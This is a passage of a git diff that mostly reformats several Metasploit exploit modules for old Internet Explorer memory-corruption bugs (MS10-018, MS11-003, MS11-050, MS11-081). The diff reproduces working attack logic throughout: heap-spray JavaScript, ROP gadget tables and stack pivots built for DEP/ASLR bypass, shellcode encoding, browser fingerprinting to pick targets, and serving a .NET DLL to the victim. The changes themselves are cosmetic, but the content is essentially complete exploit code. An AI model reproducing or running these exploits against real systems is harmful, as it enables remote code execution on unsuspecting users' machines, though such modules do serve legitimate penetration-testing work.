'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ '(Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista', + 'Platform' => 'win', + 'Targets' => [ + [ + '(Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista', { 'Method' => 'automatic' } ], - [ 'IE 6 SP0-SP2 (onclick)', + [ + 'IE 6 SP0-SP2 (onclick)', { 'Method' => 'onclick', 'Ret' => 0x0C0C0C0C @@ -102,18 +101,25 @@ def initialize(info = {}) ], # "A great celebration of HIT2010" - http://www.hitcon.org/ - [ 'IE 7.0 (marquee)', + [ + 'IE 7.0 (marquee)', { 'Method' => 'marquee', 'Ret' => 0x0C0C0C0C } ], ], - 'DisclosureDate' => '2010-03-09', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2010-03-09', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end - def auto_target(cli, request) mytarget = nil @@ -131,9 +137,7 @@ def auto_target(cli, request) mytarget end - def on_request_uri(cli, request) - if target['Method'] == 'automatic' mytarget = auto_target(cli, request) if (not mytarget) @@ -153,13 +157,13 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch)) # Set the return\nops - ret = Rex::Text.to_unescape([mytarget.ret].pack('V')) + ret = Rex::Text.to_unescape([mytarget.ret].pack('V')) # Randomize the javascript variable names - j_counter = rand_text_alpha(rand(30) + 2) - j_function2 = rand_text_alpha(rand(100) + 1) - j_object = rand_text_alpha(rand(100) + 1) - j_id = rand_text_alpha(rand(100) + 1) + j_counter = rand_text_alpha(rand(30) + 2) + j_function2 = rand_text_alpha(rand(100) + 1) + j_object = rand_text_alpha(rand(100) + 1) + j_id = rand_text_alpha(rand(100) + 1) heapspray = ::Rex::Exploitation::JSObfu.new %Q| function heapspray(){ @@ -232,6 +236,5 @@ def on_request_uri(cli, request) # Handle the payload handler(cli) - end end diff --git a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb index 6d1234ffad882..ac235307c9089 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb @@ -9,58 +9,61 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption', + 'Description' => %q{ This module exploits a memory corruption vulnerability in the Internet Explorer - Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet - Explorer are vulnerable. + Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet + Explorer are vulnerable. - By specifying a long value as the "DataURL" parameter to this control, it is possible - to write a NUL byte outside the bounds of an array. By targeting control flow data - on the stack, an attacker can execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Unknown', # original discovery - 'jduck' # metasploit version + By specifying a long value as the "DataURL" parameter to this control, it is possible + to write a NUL byte outside the bounds of an array. By targeting control flow data + on the stack, an attacker can execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Unknown', # original discovery + 'jduck' # metasploit version ], - 'References' => - [ + 'References' => [ [ 'CVE', '2010-0805' ], [ 'OSVDB', '63329' ], [ 'BID', '39025' ], [ 'ZDI', '10-034' ], [ 'MSB', 'MS10-018' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "", #"\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "", # "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic (Heap Spray)', + 'Platform' => 'win', + 'Targets' => [ + [ + 'Automatic (Heap Spray)', { 'Ret' => 0x0c0c0c0c } ], ], - 'DisclosureDate' => '2010-03-09', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2010-03-09', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end - def on_request_uri(cli, request) - # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) @@ -70,23 +73,23 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return\nops - ret = Rex::Text.to_unescape([target.ret].pack('V')) + ret = Rex::Text.to_unescape([target.ret].pack('V')) # ActiveX parameters - #progid = + # progid = clsid = "333C7BC4-460F-11D0-BC04-0080C7055A83" # exploit url url = "http://" - #url << rand_text_alphanumeric(258) - url << rand_text_alphanumeric(258+0x116+2) + # url << rand_text_alphanumeric(258) + url << rand_text_alphanumeric(258 + 0x116 + 2) # Construct the final page - var_unescape = rand_text_alpha(rand(100) + 1) - var_shellcode = rand_text_alpha(rand(100) + 1) - var_memory = rand_text_alpha(rand(100) + 1) - var_spray = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(100) + 1) + var_unescape = rand_text_alpha(rand(100) + 1) + var_shellcode = rand_text_alpha(rand(100) + 1) + var_memory = rand_text_alpha(rand(100) + 1) + var_spray = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(100) + 1) html = %Q| - - -EOS + html = <<~EOS + + + + + + EOS # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) - end end diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb index badc48a5a6b01..13630a4129be7 100644 --- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb +++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb @@ -7,8 +7,8 @@ class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # Need more love for Great include Msf::Exploit::Remote::HttpServer::HTML - #include Msf::Exploit::Remote::BrowserAutopwn - #autopwn_info({ + # include Msf::Exploit::Remote::BrowserAutopwn + # autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "7.0", # Should be 6 # :ua_maxver => "8.0", @@ -17,31 +17,31 @@ class MetasploitModule < Msf::Exploit::Remote # # Not strictly a vuln check, but an exploitability check since a # # specific version of .NET is required to make the ROP work. # :vuln_test => "if (/.NET CLR 2\\.0\\.50727/.test(navigator.userAgent)) { is_vuln = true }else{ is_vuln = false }", - #}) + # }) def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free', + 'Description' => %q{ This module exploits a memory corruption vulnerability within Microsoft\'s - HTML engine (mshtml). When parsing an HTML page containing a recursive CSS - import, a C++ object is deleted and later reused. This leads to arbitrary - code execution. - - This exploit utilizes a combination of heap spraying and the - .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not - opt-in to ASLR. As such, this module should be reliable on all Windows - versions with .NET 2.0.50727 installed. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'passerby', # Initial discovery / report + HTML engine (mshtml). When parsing an HTML page containing a recursive CSS + import, a C++ object is deleted and later reused. This leads to arbitrary + code execution. + + This exploit utilizes a combination of heap spraying and the + .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not + opt-in to ASLR. As such, this module should be reliable on all Windows + versions with .NET 2.0.50727 installed. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'passerby', # Initial discovery / report 'd0c_s4vage', # First working public exploit 'jduck' # Metasploit module (ROP, @WTFuzz spray) ], - 'References' => - [ + 'References' => [ [ 'CVE', '2010-3971' ], [ 'OSVDB', '69796' ], [ 'BID', '45246' ], @@ -49,23 +49,21 @@ def initialize(info = {}) [ 'URL', 'https://seclists.org/fulldisclosure/2010/Dec/110' ], [ 'MSB', 'MS11-003' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", - 'DisableNops' => true + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", + 'DisableNops' => true }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {} ], - [ 'Internet Explorer 8', + [ + 'Internet Explorer 8', { 'Ret' => 0x105ae020, 'OnePtrOff' => 0x18, @@ -80,7 +78,8 @@ def initialize(info = {}) } ], - [ 'Internet Explorer 7', + [ + 'Internet Explorer 7', { 'Ret' => 0x105ae020, 'OnePtrOff' => 0x14, @@ -96,7 +95,8 @@ def initialize(info = {}) ], # For now, treat the IE6 target the same as the debug target. - [ 'Internet Explorer 6', + [ + 'Internet Explorer 6', { 'Ret' => 0xc0c0c0c0, 'OnePtrOff' => 0x14, @@ -111,7 +111,8 @@ def initialize(info = {}) } ], - [ 'Debug Target (Crash)', + [ + 'Debug Target (Crash)', { 'Ret' => 0xc0c0c0c0, 'OnePtrOff' => 0, @@ -126,17 +127,24 @@ def initialize(info = {}) } ] ], - # Full-disclosure post was Dec 8th, original blog Nov 29th - 'DisclosureDate' => '2010-11-29', - 'DefaultTarget' => 0)) + # Full-disclosure post was Dec 8th, original blog Nov 29th + 'DisclosureDate' => '2010-11-29', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]) - ]) + ] + ) end - def auto_target(cli, request) mytarget = nil @@ -144,9 +152,9 @@ def auto_target(cli, request) if agent =~ /MSIE 6\.0/ mytarget = targets[3] elsif agent =~ /MSIE 7\.0/ - mytarget = ua_has_clr(cli,agent) ? targets[2] : nil + mytarget = ua_has_clr(cli, agent) ? targets[2] : nil elsif agent =~ /MSIE 8\.0/ - mytarget = ua_has_clr(cli,agent) ? targets[1] : nil + mytarget = ua_has_clr(cli, agent) ? targets[1] : nil else print_error("Unknown User-Agent #{agent}") end @@ -157,13 +165,12 @@ def ua_has_clr(cli, agent) if agent =~ /\.NET CLR 2\.0\.50727/ return true end + print_error("Target machine does not have the .NET CLR 2.0.50727") false end - def on_request_uri(cli, request) - print_status("Received request for %s" % request.uri.inspect) mytarget = target @@ -175,7 +182,7 @@ def on_request_uri(cli, request) end end - #print_status("Automatically selected target: #{mytarget.name}") + # print_status("Automatically selected target: #{mytarget.name}") buf_addr = mytarget.ret css_name = [buf_addr].pack('V') * (16 / 4) @@ -188,8 +195,8 @@ def on_request_uri(cli, request) print_status("Sending redirect") redir = get_resource() - redir << '/' if redir[-1,1] != '/' - redir << rand_text_alphanumeric(4+rand(4)) + redir << '/' if redir[-1, 1] != '/' + redir << rand_text_alphanumeric(4 + rand(4)) redir << '.html' send_redirect(cli, redir) @@ -203,9 +210,9 @@ def on_request_uri(cli, request) rvas = rvas_mscorie_v2() rop_stack = generate_rop(buf_addr, rvas) fix_esp = rva2addr(rvas, 'leave / ret') - ret = rva2addr(rvas, 'ret') - pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8') - pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret') + ret = rva2addr(rvas, 'ret') + pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8') + pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret') # Append the payload to the rop_stack rop_stack << p.encoded @@ -236,9 +243,9 @@ def on_request_uri(cli, request) special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C') # These offsets become a fix_esp ret chain .. - special_sauce[0x04, 4] = [pivot2].pack('V') # part two of our stack pivot! - special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V') # becomes ebp, for fix esp - special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax) + special_sauce[0x04, 4] = [pivot2].pack('V') # part two of our stack pivot! + special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V') # becomes ebp, for fix esp + special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax) # Add in the rest of the ROP stack special_sauce[0x84, rop_stack.length] = rop_stack @@ -246,29 +253,29 @@ def on_request_uri(cli, request) # Format for javascript use special_sauce = Rex::Text.to_unescape(special_sauce) - js_function = rand_text_alpha(rand(100)+1) + js_function = rand_text_alpha(rand(100) + 1) # Construct the javascript - custom_js = <<-EOS -function #{js_function}() { -heap = new heapLib.ie(0x20000); -var heapspray = unescape("#{special_sauce}"); -while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); -var heapblock = heapspray; -while(heapblock.length < 0x40000) heapblock += heapblock; -finalspray = heapblock.substring(2, 0x40000 - 0x21); -for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } -var vlink = document.createElement("link"); -vlink.setAttribute("rel", "Stylesheet"); -vlink.setAttribute("type", "text/css"); -vlink.setAttribute("href", "#{placeholder}") -document.getElementsByTagName("head")[0].appendChild(vlink); -} -EOS + custom_js = <<~EOS + function #{js_function}() { + heap = new heapLib.ie(0x20000); + var heapspray = unescape("#{special_sauce}"); + while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); + var heapblock = heapspray; + while(heapblock.length < 0x40000) heapblock += heapblock; + finalspray = heapblock.substring(2, 0x40000 - 0x21); + for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } + var vlink = document.createElement("link"); + vlink.setAttribute("rel", "Stylesheet"); + vlink.setAttribute("type", "text/css"); + vlink.setAttribute("href", "#{placeholder}") + document.getElementsByTagName("head")[0].appendChild(vlink); + } + EOS opts = { 'Symbols' => { - 'Variables' => %w{ heapspray vlink heapblock heap finalspray counter }, - 'Methods' => %w{ prepare } + 'Variables' => %w{heapspray vlink heapblock heap finalspray counter}, + 'Methods' => %w{prepare} } } @@ -279,22 +286,22 @@ def on_request_uri(cli, request) js = heaplib(custom_js) dll_uri = get_resource() - dll_uri << '/' if dll_uri[-1,1] != '/' + dll_uri << '/' if dll_uri[-1, 1] != '/' dll_uri << "generic-" + Time.now.to_i.to_s + ".dll" # Construct the final page - html = <<-EOS - - - - - - - - -EOS + html = <<~EOS + + + + + + + + + EOS html = "\xff\xfe" + Rex::Text.to_unicode(html) html.gsub!(uni_placeholder, css_name) @@ -310,11 +317,11 @@ def on_request_uri(cli, request) # Send a .NET v2.0 DLL down send_response(cli, dll, - { - 'Content-Type' => 'application/x-msdownload', - 'Connection' => 'close', - 'Pragma' => 'no-cache' - }) + { + 'Content-Type' => 'application/x-msdownload', + 'Connection' => 'close', + 'Pragma' => 'no-cache' + }) else # Defines two different CSS import styles @@ -340,7 +347,6 @@ def on_request_uri(cli, request) # Handle the payload handler(cli) - end def rvas_mscorie_v2() @@ -349,14 +355,14 @@ def rvas_mscorie_v2() { 'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b, - 'leave / ret' => 0x25e5, - 'ret' => 0x25e5+1, + 'leave / ret' => 0x25e5, + 'ret' => 0x25e5 + 1, 'call [ecx] / pop ebp / ret 0xc' => 0x1ec4, - 'pop eax / ret' => 0x5ba1, - 'pop ebx / ret' => 0x54c0, - 'pop ecx / ret' => 0x1e13, - 'pop esi / ret' => 0x1d9a, - 'pop edi / ret' => 0x2212, + 'pop eax / ret' => 0x5ba1, + 'pop ebx / ret' => 0x54c0, + 'pop ecx / ret' => 0x1e13, + 'pop esi / ret' => 0x1d9a, + 'pop edi / ret' => 0x2212, 'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6, 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154, } @@ -366,8 +372,8 @@ def generate_rop(buf_addr, rvas) # ROP fun! (XP SP3 English, Dec 15 2010) rvas.merge!({ # Instructions / Name => RVA - 'BaseAddress' => 0x63f00000, - 'imp_VirtualAlloc' => 0x10f4 + 'BaseAddress' => 0x63f00000, + 'imp_VirtualAlloc' => 0x10f4 }) rop_stack = [ diff --git a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb index 37650a0d84091..c16aee64cad18 100644 --- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb +++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb @@ -8,125 +8,130 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - #include Msf::Exploit::Remote::BrowserAutopwn - #autopwn_info({ + # include Msf::Exploit::Remote::BrowserAutopwn + # autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "7.0", # :ua_maxver => "8.0", # :javascript => true, # :os_name => OperatingSystems::Match::WINDOWS - #}) - - def initialize(info={}) - super(update_info(info, - 'Name' => "MS11-050 IE mshtml!CObjectElement Use After Free", - 'Description' => %q{ + # }) + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS11-050 IE mshtml!CObjectElement Use After Free", + 'Description' => %q{ This module exploits a use-after-free vulnerability in Internet Explorer. The - vulnerability occurs when an invalid tag exists and other elements - overlap/cover where the object tag should be when rendered (due to their - styles/positioning). The mshtml!CObjectElement is then freed from memory because - it is invalid. However, the mshtml!CDisplay object for the page continues to keep - a reference to the freed and attempts to call a function on it, leading - to the use-after-free. + vulnerability occurs when an invalid tag exists and other elements + overlap/cover where the object tag should be when rendered (due to their + styles/positioning). The mshtml!CObjectElement is then freed from memory because + it is invalid. However, the mshtml!CDisplay object for the page continues to keep + a reference to the freed and attempts to call a function on it, leading + to the use-after-free. Please note that for IE 8 targets, JRE (Java Runtime Environment) is required - to bypass DEP (Data Execution Prevention). - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'd0c_s4vage', #Discovery, poc - 'sinn3r', #ROP (thx corelanc0d3r), Windows 7 - 'bannedit' #Windows 7 + to bypass DEP (Data Execution Prevention). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'd0c_s4vage', # Discovery, poc + 'sinn3r', # ROP (thx corelanc0d3r), Windows 7 + 'bannedit' # Windows 7 ], - 'References' => - [ + 'References' => [ ['CVE', '2011-1260'], ['OSVDB', '72950'], ['MSB', 'MS11-050'], ['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html'] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Payload' => - { - 'Space' => 500, + 'Payload' => { + 'Space' => 500, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500 }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {} ], # In IE6 the mshtml!CObjectElement size is 0xac [ 'Internet Explorer 7 on XP SP3', { - 'Rop' => false, - 'Ret' => nil, #Not required for non-ROP targets - 'TargetAddr' => 0x0c0c0c0c, #For vtable - 'ObjSize' => '0xB0', #mshtml!CObjectElement size - 'Offset' => '0x01', + 'Rop' => false, + 'Ret' => nil, # Not required for non-ROP targets + 'TargetAddr' => 0x0c0c0c0c, # For vtable + 'ObjSize' => '0xB0', # mshtml!CObjectElement size + 'Offset' => '0x01', } ], [ 'Internet Explorer 7 on Windows Vista', { - 'Rop' => false, - 'Ret' => nil, #Not required for non-ROP targets - 'TargetAddr' => 0x0c0c0c0c, #For vtable - 'ObjSize' => '0xB0', #mshtml!CObjectElement size - 'Offset' => '0x01', + 'Rop' => false, + 'Ret' => nil, # Not required for non-ROP targets + 'TargetAddr' => 0x0c0c0c0c, # For vtable + 'ObjSize' => '0xB0', # mshtml!CObjectElement size + 'Offset' => '0x01', } ], [ 'Internet Explorer 8 on XP SP3', { - 'Rop' => true, - 'Ret' => 0x7C348B05, #Stack pivot (xchg eax,esp; retn from java) - 'TargetAddr' => 0x0c0c0c0c, #For vtable - 'ObjSize' => '0xE0', #mshtml!CObjectElement size - 'Offset' => '0x5E2', + 'Rop' => true, + 'Ret' => 0x7C348B05, # Stack pivot (xchg eax,esp; retn from java) + 'TargetAddr' => 0x0c0c0c0c, # For vtable + 'ObjSize' => '0xE0', # mshtml!CObjectElement size + 'Offset' => '0x5E2', } ], [ 'Internet Explorer 8 on Windows 7', { - 'Rop' => true, - 'Ret' => 0x7C348B05, #Stack pivot (xchg eax,esp; retn from java) - 'TargetAddr' => 0x0c0c0c0c, #For vtable - 'ObjSize' => '0xE0', #mshtml!CObjectElement size - 'Offset' => '0x5F4', + 'Rop' => true, + 'Ret' => 0x7C348B05, # Stack pivot (xchg eax,esp; retn from java) + 'TargetAddr' => 0x0c0c0c0c, # For vtable + 'ObjSize' => '0xE0', # mshtml!CObjectElement size + 'Offset' => '0x5F4', } ], [ 'Debug Target (Crash)', {} ], ], - 'DisclosureDate' => '2011-06-16', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2011-06-16', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) + ] + ) end def auto_target(cli, request) agent = request.headers['User-Agent'] if agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ - #Windows XP + IE7 + # Windows XP + IE7 mytarget = targets[1] elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ - #Windows Vista + IE7 + # Windows Vista + IE7 mytarget = targets[2] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ - #Windows XP + IE8 + # Windows XP + IE8 mytarget = targets[3] elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/ - #Windows 7 + IE8 + # Windows 7 + IE8 mytarget = targets[4] else mytarget = nil @@ -136,7 +141,7 @@ def auto_target(cli, request) end def on_request_uri(cli, request) - #Set default target + # Set default target mytarget = target debug = false @@ -172,9 +177,9 @@ def on_request_uri(cli, request) end if mytarget['Rop'] - p = make_nops(44) #Nops - p << "\xeb\x04\xff\xff" #Jmp over the pivot - p << [mytarget.ret].pack('V') #Stack pivot + p = make_nops(44) # Nops + p << "\xeb\x04\xff\xff" # Jmp over the pivot + p << [mytarget.ret].pack('V') # Stack pivot p << payload.encoded rop_payload = generate_rop_payload('java', p) @@ -185,14 +190,14 @@ def on_request_uri(cli, request) # fill the vtable vtable = [mytarget['TargetAddr']].pack('V*') - #Convert code format so we can unescape() in JavaScript + # Convert code format so we can unescape() in JavaScript code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch)) vtable_js = Rex::Text.to_unescape(vtable, Rex::Arch.endian(target.arch)) randnop = rand_text_alpha(rand(100) + 1) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(target.arch)) - #Extract string based on what the setup is + # Extract string based on what the setup is if mytarget.name == 'Internet Explorer 8 on XP SP3' js_extract_str = "var block = shellcode.substring(2, 0x20000-0x21);" elsif mytarget.name == 'Internet Explorer 8 on Windows 7' @@ -249,7 +254,7 @@ def on_request_uri(cli, request) timedRefresh(2000); JS - js = heaplib(js, {:noobfu => true}) + js = heaplib(js, { :noobfu => true }) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) @@ -267,11 +272,10 @@ def on_request_uri(cli, request) HTML print_status("Sending exploit (#{mytarget.name})...") - send_response(cli, html, {'Content-Type'=>'text/html'}) + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end - =begin (b00.1ac): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. diff --git a/modules/exploits/windows/browser/ms11_081_option.rb b/modules/exploits/windows/browser/ms11_081_option.rb index 56d1de39391b8..a9171db0fc755 100644 --- a/modules/exploits/windows/browser/ms11_081_option.rb +++ b/modules/exploits/windows/browser/ms11_081_option.rb @@ -9,60 +9,63 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - - def initialize(info={}) - super(update_info(info, - 'Name' => "MS11-081 Microsoft Internet Explorer Option Element Use-After-Free", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS11-081 Microsoft Internet Explorer Option Element Use-After-Free", + 'Description' => %q{ This module exploits a vulnerability in Microsoft Internet Explorer. A memory - corruption may occur when the Option cache isn't updated properly, which allows - other JavaScript methods to access a deleted Option element, and results in code - execution under the context of the user. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Ivan Fratric', #Initial discovery - 'juan vazquez', #Metasploit - 'sinn3r' #Metasploit + corruption may occur when the Option cache isn't updated properly, which allows + other JavaScript methods to access a deleted Option element, and results in code + execution under the context of the user. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Ivan Fratric', # Initial discovery + 'juan vazquez', # Metasploit + 'sinn3r' # Metasploit ], - 'References' => - [ + 'References' => [ [ 'CVE', '2011-1996' ], [ 'OSVDB', '76208' ], [ 'MSB', 'MS11-081' ], [ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ], [ 'URL', 'http://pastebin.com/YLH725Aj' ] ], - 'Payload' => - { + 'Payload' => { 'StackAdjustment' => -3500, }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ], - [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ], - [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ] + [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2012-10-11', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2012-10-11', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) - + ] + ) end def get_target(agent) - #If the user is already specified by the user, we'll just use that + # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' @@ -91,7 +94,7 @@ def get_target(agent) def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) randnop = rand_text_alpha(rand(100) + 1) @@ -114,7 +117,7 @@ def ie_heap_spray(my_target, p) } | - js = heaplib(js, {:noobfu => true}) + js = heaplib(js, { :noobfu => true }) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) @@ -135,15 +138,15 @@ def get_payload(t, cli) case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") - rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) - rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length) + rop_payload = generate_rop_payload('msvcrt', "", { 'target' => 'xp' }) + rop_payload << make_nops(t['OffsetVirtualFunc'] - rop_payload.length) rop_payload << "\xeb\x04" # jmp $+6 rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret rop_payload << code else print_status("Using JRE ROP") rop_payload = generate_rop_payload('java', '') - rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length) + rop_payload << make_nops(t['OffsetVirtualFunc'] - rop_payload.length) rop_payload << "\xeb\x08" # jmp 